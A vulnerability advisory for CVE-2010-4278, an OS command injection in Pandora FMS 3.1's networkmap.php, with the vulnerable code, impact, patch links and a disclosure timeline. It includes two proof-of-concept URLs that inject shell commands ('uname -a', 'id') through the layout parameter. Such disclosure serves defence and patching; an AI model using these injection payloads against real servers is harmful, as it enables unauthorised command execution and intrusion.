Pandora Fms 3.1 - OS Command Injection

[+] Introduction



Pandora FMS (for Pandora Flexible Monitoring System) is a software

solution for monitoring computer networks. It allows monitoring in a

visual way the status and performance of several parameters from

different operating systems, servers, applications and hardware systems

such as firewalls, proxies, databases, web servers or routers.



It can be deployed in almost any operating system. It features remote

monitoring (WMI, SNMP, TCP. UDP, ICMP, HTTP...) and it can also use

agents. An agent is available for each platform. It can also monitor

hardware systems with a TCP/IP stack, such as load balancers, routers,

network switches, printers or firewalls.



This software has several servers that process and get information from

different sources, using WMI for gathering remote Windows information, a

predictive server, a plug-in server which makes complex user-defined

network tests, an advanced export server to replicate data between

different sites of Pandora FMS, a network discovery server, and an SNMP

Trap console.



Released under the terms of the GNU General Public License, Pandora FMS

is free software.



2) OS Command Injection - CVE-2010-4278 - CVSS 9/10



The layout parameter in file operation/agentes/networkmap.php is not

properly filtered and allows an attacker to inject OS commands.



Snippet of vulnerable code (file operation/agentes/networkmap.php):



32 $layout = (string) get_parameter ('layout', 'radial');

...

137 $filename_map = $config["attachment_store"]."/networkmap_".$layout;

138 $filename_img = "attachment/networkmap_".$layout."_".$font_size;

139 $filename_dot = $config["attachment_store"]."/networkmap_".$layout;

...

162                 $cmd = "$filter -Tcmapx -o".$filename_map." -Tpng

- -o".$filename_img." ".$filename_dot;

163                 $result = system ($cmd);



PoC:



http://servername/pandora_console/index.php?login=1&login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;uname%20-a;

http://servername/pandora_console/index.php?login=1&sec=estado&sec2=operation/agentes/networkmap&refr=0&layout=1;id;



If we use vulnerability #1 (that permits bypass the authentication

system and login as admin) with this issue, the CVSS will be 10/10.





[+] Impact



An attacker can execute commands of the operating system, inject remote

code in the context of the application, get arbitrary files from the

filesystem or extract any data of the database including passwords and

confidential information about the monitored network/systems. Also it is

possible to bypass the authentication or scale privileges to became

admin, gaining full control of the web application and web server. These

vulnerabilities have a high impact to the confidentiality, integrity,

and availability of the system.





[+] Systems affected



Versions prior and including 3.1 of Pandora FMS are affected





[+] Solution



Apply the security fix for version 3.1:

http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/Final%20version%20%28Stable%29/pandorafms_console-3.1_security_patch_13Oct2010.tar.gz/download





Or upgrade to version 3.1.1 from

http://sourceforge.net/projects/pandora/files/Pandora%20FMS%203.1/3.1.1/





[+] Timeline



Ago 2010: First contact to vendor

Ago 2010: Confirmation of vendor

Sept 2010: Second contact: SQL Injection vulnerabilities

Sept 2010: Confirmation that the fix will be released on October

Oct 2010: PandoraFMS security patch for 3.1 version released

Oct 2010: Request for CVE numbers

Nov 2010: PandoraFMS version 3.1.1 released

Nov 2010: Disclosure of this advisory





[+] References



Official PandoraFMS site: http://pandorafms.org/

SourceForge PandoraFMS site: http://sourceforge.net/projects/pandora/

Wikipedia entry about PandoraFMS: http://en.wikipedia.org/wiki/Pandora_FMS

Common Vulnerability Scoring System (CVSS) v2 calculator:

http://nvd.nist.gov/cvss.cfm?calculator&adv&version=2

Common Vulnerabilities and Exposures (CVE): http://cve.mitre.org/





[+] Credits



These vulnerabilities has been discovered by Juan Galiana Lara -

@jgaliana - http://juangaliana.blogspot.com/



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